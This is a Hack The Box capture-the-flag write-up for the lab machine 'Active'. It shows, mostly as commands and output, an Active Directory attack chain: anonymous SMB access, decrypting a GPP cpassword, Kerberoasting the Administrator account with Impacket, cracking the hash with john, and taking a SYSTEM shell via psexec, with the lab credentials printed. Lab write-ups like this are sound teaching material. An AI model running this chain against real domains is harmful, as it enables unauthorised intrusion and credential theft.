Hack The Box Write-up - Active

12 minute read Published:

Write-up for the machine Active from Hack The Box. The machine is a very interesting exercise for those who do not work with Active Directory domain controllers every day but want to dive deeper into their inner workings. Basically, you find one such domain controller with plenty of open ports. After a short distraction in form of a web server with no content, you find that you get unauthenticated access to an SMB share with some group policy files in it. Inside, you find an encrypted password. It is easy to decrypt though since the key is public information. With these credentials, you get not only the first flag but also access to the AD itself. Searching for server principal names reveals that the Administrator account is kerberoastable. With impacket and john, it is easy to crack the password of this account. Now the root flag is only one execution of psexec away.
Table of Contents

Enumeration

Port scan

We start as usual with a quick masscan to get open ports as fast as possible. It returns lots of results:

$ masscan -e tun0 -p 1-65535 --rate 2000 10.10.10.100
 
Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2018-09-13 20:54:40 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 53/tcp on 10.10.10.100
Discovered open port 9389/tcp on 10.10.10.100
Discovered open port 88/tcp on 10.10.10.100
Discovered open port 445/tcp on 10.10.10.100
Discovered open port 464/tcp on 10.10.10.100
Discovered open port 49171/tcp on 10.10.10.100
Discovered open port 3268/tcp on 10.10.10.100
Discovered open port 49169/tcp on 10.10.10.100
Discovered open port 49182/tcp on 10.10.10.100
Discovered open port 5722/tcp on 10.10.10.100
Discovered open port 49158/tcp on 10.10.10.100
Discovered open port 49153/tcp on 10.10.10.100
Discovered open port 593/tcp on 10.10.10.100
Discovered open port 389/tcp on 10.10.10.100
Discovered open port 49155/tcp on 10.10.10.100
Discovered open port 47001/tcp on 10.10.10.100
Discovered open port 636/tcp on 10.10.10.100
Discovered open port 49152/tcp on 10.10.10.100
Discovered open port 135/tcp on 10.10.10.100
Discovered open port 3269/tcp on 10.10.10.100
Discovered open port 139/tcp on 10.10.10.100
Discovered open port 49154/tcp on 10.10.10.100
Discovered open port 49157/tcp on 10.10.10.100

Use nmap to get more details on the services running on these ports:

 $ nmap -sV -sC -p 53,9389,88,445,464,49171,3268,49169,49182,5722,49158,49153,593,389,49155,47001,636,49152,135,3269,139,49154,49157 10.10.10.100
...
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows
Server 2008 R2 SP1)
| dns-nsid:
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2018-09-13 21:01:03Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5722/tcp  open  msrpc         Microsoft Windows RPC
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49169/tcp open  msrpc         Microsoft Windows RPC
49171/tcp open  msrpc         Microsoft Windows RPC
49182/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -3s, deviation: 0s, median: -3s
| smb2-security-mode:
|   2.02:
|_    Message signing enabled and required
| smb2-time:
|   date: 2018-09-13 17:02:01
|_  start_date: 2018-09-09 17:20:40

This looks a lot like an Active Directory domain controller. We can see a Windows host with LDAP, Kerberos and plenty of RPC ports. Moreover, there is a web server on 47001. Checking it out with a browser returns a 404 and nothing else. Lastly, we have ports 139 and 445 open, which means we should look for SMB shares. Also note that nmap returned the name of the domain, which is “active.htb”.

Web server

Before doing anything else, I ran a scan on the web server to check if there are any hidden files or directories:

 $ wfuzz --hc=404 -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.100:47001/FUZZ

To my disappointment, the scan did not deliver any results. Nevertheless, it does not hurt to have it running and to proceed with manual enumeration after that.

SMB shares

SMB is a file sharing protocol and the primary means by which Windows computers let other machines access files remotely. We can try to use nmap scripts to extract some information about possible vulnerabilities out of it:

 $ nmap -p 445 --script vuln 10.10.10.100
...
PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
|_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: ERROR:
Server disconnected the connection
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: ERROR: Server
disconnected the connection
...

This did not help too much. Maybe I was a bit too quick with this, so let’s step back and just connect with smbclient:

 $ smbclient -L 10.10.10.100
Enter WORKGROUP\root's password:
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        Replication     Disk
        SYSVOL          Disk      Logon server share
        Users           Disk
Reconnecting with SMB1 for workgroup listing.
Connection to 10.10.10.100 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Failed to connect with SMB1 -- no workgroup available

Interesting! It looks like there are several shares available. Continuing with smbclient, we can try to anonymously connect to them to check which of them are protected and which not. Below are two examples. Connecting to “NETLOGON” does not work and fails with “NT_STATUS_ACCESS_DENIED”, whereas the share named “Replication” let’s us in:

 $ smbclient \\\\10.10.10.100\\NETLOGON
Enter WORKGROUP\root's password:
Anonymous login successful
tree connect failed: NT_STATUS_ACCESS_DENIED


 $ smbclient \\\\10.10.10.100\\Replication
Enter WORKGROUP\root's password:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> list
0:      server=10.10.10.100, share=Replication
...

For easier enumeration, we could also use the amazing smbmap tool, which conveniently lists all shares and the permissions we have:

 $ python smbmap.py -H 10.10.10.100 -d active.htb
[+] Finding open SMB ports....
[+] User SMB session establishd on 10.10.10.100...
[+] IP: 10.10.10.100:445        Name: 10.10.10.100
        Disk                                           Permissions
        ----                                           -----------
        ADMIN$                                         NO ACCESS
        C$                                             NO ACCESS
        IPC$                                           NO ACCESS
        NETLOGON                                       NO ACCESS
        Replication                                    READ ONLY
        SYSVOL                                         NO ACCESS
        Users                                          NO ACCESS

Since “Replication” is the only share we can access, let’s just grab all the content and check it out locally. After connecting with smbclient, we can download the entire share to a local folder “/htb/active/smb/” like so:

smb: \> mask ""
smb: \> recurse ON
smb: \> prompt OFF
smb: \> lcd '/htb/active/smb/'
smb: \> mget *

We get what seems to be a backup of the group policies in SYSVOL. In AD environments, administrators can define policies to change settings on the client machines. Microsoft calls this MS-GPPREF and the protocol is documented here. It works such that the clients regularly connect to the Domain Controllers to download an XML file containing the settings defined by the administrator, as described here. The client then applies all settings it finds, which can be things like enabling or disabling hardware, configuring printers, changing the start menu and much more.

Among the settings an administrator can manage is the password of a local user on the client, as described here. This feature is handy to e.g., manage local administrator accounts for the entire domain. What will happen is that the Domain Controller puts that password into the XML file as the “cpassword” property of the user. Before doing so, it encrypts the password with AES, using a static 32 bit key. No, this is not a joke ;) … It actually uses a publicly known static key you can get from Microsoft’s website.

Thus, we can grep all files we just found for a “cpassword” field and luckily, we find one (beautified below for readability):

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
  <User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}"
        name="active.htb\SVC_TGS"
        image="2"
        changed="2018-07-18 20:46:06"
        uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}">
    <Properties action="U"
                newName=""
                fullName=""
                description=""
                cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
                changeLogon="0"
                noChange="1"
                neverExpires="1"
                acctDisabled="0"
                userName="active.htb\SVC_TGS"/>
  </User>
</Groups>

This file reads like it sets a password for a user called “SVC_TGS”. On Kali, we can decrypt the password with gpp-decrypt:

 $ gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
/usr/bin/gpp-decrypt:21: warning: constant OpenSSL::Cipher::Cipher is deprecated
GPPstillStandingStrong2k18

This works like a charm and we now have credentials for a user: “ACTIVE.HTB\SVC_TGS” and “GPPstillStandingStrong2k18”.

Being SVC_TGS

Checking SMB again

We have brand new credentials which may give us more access then before. Check out the SMB shares again to see what “SVC_TGS” can do:

 $ python smbmap.py -H 10.10.10.100 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18
[+] Finding open SMB ports....
[+] User SMB session establishd on 10.10.10.100...
[+] IP: 10.10.10.100:445        Name: 10.10.10.100
        Disk                                                    Permissions
        ----                                                    -----------
        ADMIN$                                                  NO ACCESS
        C$                                                      NO ACCESS
        IPC$                                                    NO ACCESS
        NETLOGON                                                READ ONLY
        Replication                                             READ ONLY
        SYSVOL                                                  READ ONLY
        Users                                                   READ ONLY

Interestingly, we now have read access to the “Users” volumne, which is where the flags should be. Connecting to the share, we can retrieve the “user.txt” flag, but “root.txt” is obviously not accessible as we are not an administrator.

Enumerating Active Directory

The credentials now also allow accessing the Active Directory. To search for interesting information, you can use windapsearch, a Python script that pulls data about users, groups, computers, and more. For instance, listing all domain users is accomplished like this:

 $ python windapsearch.py --dc-ip 10.10.10.100 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18 -U
[+] Using Domain Controller at: 10.10.10.100
[+] Getting defaultNamingContext from Root DSE
[+]     Found: DC=active,DC=htb
[+] Attempting bind
[+]     ...success! Binded as:
[+]      u:ACTIVE\SVC_TGS

[+] Enumerating all AD users
[+]     Found 4 users:

cn: Administrator

cn: Guest

cn: krbtgt

cn: SVC_TGS
userPrincipalName: [email protected]


[*] Bye!

There is not much apart from the default Administrator and Guest. We know SVC_TGS already, and found an additional “krbtgt” user. This one is a default account too. It comes with an Active Directory installation, according to Microsoft docs. Its purpose is to issue Kerberos Ticket Granting Tickets (TGT) during Kerberos authentication. All TGTs will be encrypted with the password of this account. It is usually a strong, uncrackable password.

This is all not terribly helpful for itself, but it suggests we have to somehow leverage Kerberos to escalate.

Kerberoasting

Remember that our current user is called “SVC_TGS”, and that we can suspect that some flaw in Kerberos authentication should get us the flag? Lets think through how Kerberos authentication works and see if that suggests something to do next. What follows now will be somewhat superficial and not 100% accurate. Check this post for a much more complete description of Kerberos authentication.

Imagine somebody sets up a service such as CIFS on a machine and wants to use Kerberos authentication. This admin could create a domain user and set a Service Principal Name (SPN) for that user to associate it with the service (c.f., here). Once all is configured correctly, the service will run under the service account’s security context and domain users will be able to see the association in the Active Directory.

Now, if a domain user wants to access this service, it would ask the Kerberos Key Distribution Center (KDC) for two things:

  • a Ticket Granting Ticket (TGT), which is issued by the Authentication Server (AS) component of the KDC. A domain user gets it by proving that it knows its own password. The ticket serves as proof of successful authentication with the KDC and allows a domain user to request service tickets.
  • a service ticket, issued by the Ticket Granting Server (TGS) component of the KDC. A domain user gets it by presenting the TGT and an SPN to the KDC. The ticket then serves as proof of successful authentication with the KDC. Unlike the TGT though, which can only be verified by the KDC, the service ticket can be verified by the service itself.

It can not be a coincidence that our user is called “SVC_TGS”, just like the TGS component of the KDC. What is special about these service tickets? To see that, we must think about how such a ticket works. The reason a service is able to verify the ticket is that the KDC encrypts and signs (part of) the ticket with the service account password, which it finds by looking up the SPN presented by the domain user.

The issue is that whoever is in possession of a service ticket is in possession of an oracle for the service account password, since you can brute force the encryption offline until you find the valid password. Thus, service accounts may be compromised and there is little that an administrator could do about it other than using strong passwords.

It gets worse since the KDC only performs authentication and leaves authorization to the service itself. Any domain user can request a service ticket for any service and will get one, as all it needs to do that is the SPN. It is the service’s responsibility to decide whether to authorize a given request. Thus, all service accounts are at risk of having their passwords brute-forced. A domain user does not need any kind of access to the service.

Performing the attack was difficult when it came out. For instance, it required reading Kerberos tickets from memory with mimikatz, as described here. With today’s amazing tooling though, it is drop-dead simple to do. Given domain user credentials, Impacket is all you need:

 $ python /opt/impacket/examples/GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies

ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet      LastLogon
--------------------  -------------  --------------------------------------------------------  -------------------  -------------------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 15:06:40  2018-07-30 13:17:40



$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$09a16612e21d8979ea1a2025ae9bc848$40579360035c960293a35a2509a6d6cfa5e1e6ad1b7ec03ca22e6875d33abbe4eb6e099d7a1a03b6820514f96806b1f9938590bbcc8c25889f26800b3b4baf4a905aabf2aa32efaca6b20c8e2252f79f7f98a35ce4684e468ef5f0b48286bc18cdc590999cc20ca4620dddd8567f7e6d2b9c3984643d43a129afffea2cd99f92b74003cf41f3540b312d6203b84a1edae1888010fdb21868058683f3699e191539a303a46a4a03ba8bb9e1928a9683d4250b8838f7ad4491ef8ad2ff9c81a47b42362b0e6b9cd5351bd532406c951db6063083c052b0b685627e190c898cecc4262286124abb68f757e6265f27e826f9097c3a1d67b546829d738153e986f2f60c18e56e48ecd8abcd97f11e0d2ea05e28544b8779e2b9c34f6fd604cedd43a44b69dc4fdd7018c18d7d58c82b2974e91aba29a3cb279d3da43e9fb8717a86476cdae2a120f4e417afea631503191ca1b80e8343350c35943940057b02b28c4289f83206617d41c0bc1e7b05f2216e7cb0ede9b0d4243f35af58da01d5f0a5391fe4eb51c22dad7cce6f3b5e6976081541c1a100be9326f8e725969344e0859bc3a7683bd53874de6423402d9c20a1f9a62ad8cf399dc31d5eb67fa684f2ffcc9dc64c9d24cc1cb8ae33a56162f79ba96db62bfa0e64c1d6f5dcf34093864805a751b883a616a77f1460e9df5a6a38850649dad3679124b173d2fe5d71fcf3324f1d077565dc83f62328510fdee30849dcbe37f8c267bdc36e720ba2d41282778a4fc2292f2d9cdfe54d7eb5cde85ab4cfb82d7c4700d500503d83529788787794392b8720c67b23460c5473fe604a83a837c16e95c338352c32a1d79deddd079ab5dd81f6f86f9cbab517890ee3cd0dfd648e71b56ce314f7de4f07ebe2345eb361362995a03be531841723f83fb12793a5548890d9445bde2fd17d7ac7ba45913254385f4c9cd45c70968b5ee6f6be9931ec4eb0767d5514b86bf287cc84ce044f3abbcff0efc9d5d0dc62f38f3a7cce73a706157e5181c60be9017b3bd5bcc50a154fdd602ea6bc753c8a4c7199f58a13be861b107a1ce9190e3b0d1f706dd26921599b80f6b9027cbc3dde9b6e758fb174ecdc7ddd696159e22755c566152b0cec57c07e1b466a720e76ac23b1a3ffa8c2867a1f85b1a055641bce8357a07e964ed4d54ef1f561dc15b3792c994fad51887f5de85dc0707698fa2c8e7cae121a7d3f1842ef2cae417b2d0a3cf5e105360df89fdef97c8349

We are lucky and find that “Administrator” has an SPN set for CIFS. Impacket already requested a ticket and printed out a john-compatible hash that waits to be cracked. Put it into a file “krb.txt” and go for it:

 $ john ./krb.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Ticketmaster1968 (?)
1g 0:00:00:08 DONE (2018-09-16 11:43) 0.1212g/s 1277Kp/s 1277Kc/s 1277KC/s Tiffani1432..Thrash1
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Cracking took only a few seconds and gave us “Administrator” and “Ticketmaster1968” as a new pair of credentials.

Side note: there is a nice three part blog post series about Kerberoasting in which many more methods are described: 1, 2, and 3. With alternative methods, you may be able to perform this attack without credentials, given only a shell on the system.

Administrator with psexec

With admin credentials, it is easy to get a shell and the flag:

 $ python psexec.py active.htb/Administrator:[email protected] cmd
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies

[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$
[*] Uploading file lRSucApr.exe
[*] Opening SVCManager on 10.10.10.100.....
[*] Creating service eMOD on 10.10.10.100.....
[*] Starting service eMOD.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
nt authority\system

References

Some good blog posts about GPP include

Write-Ups and Walkthroughs for the machine: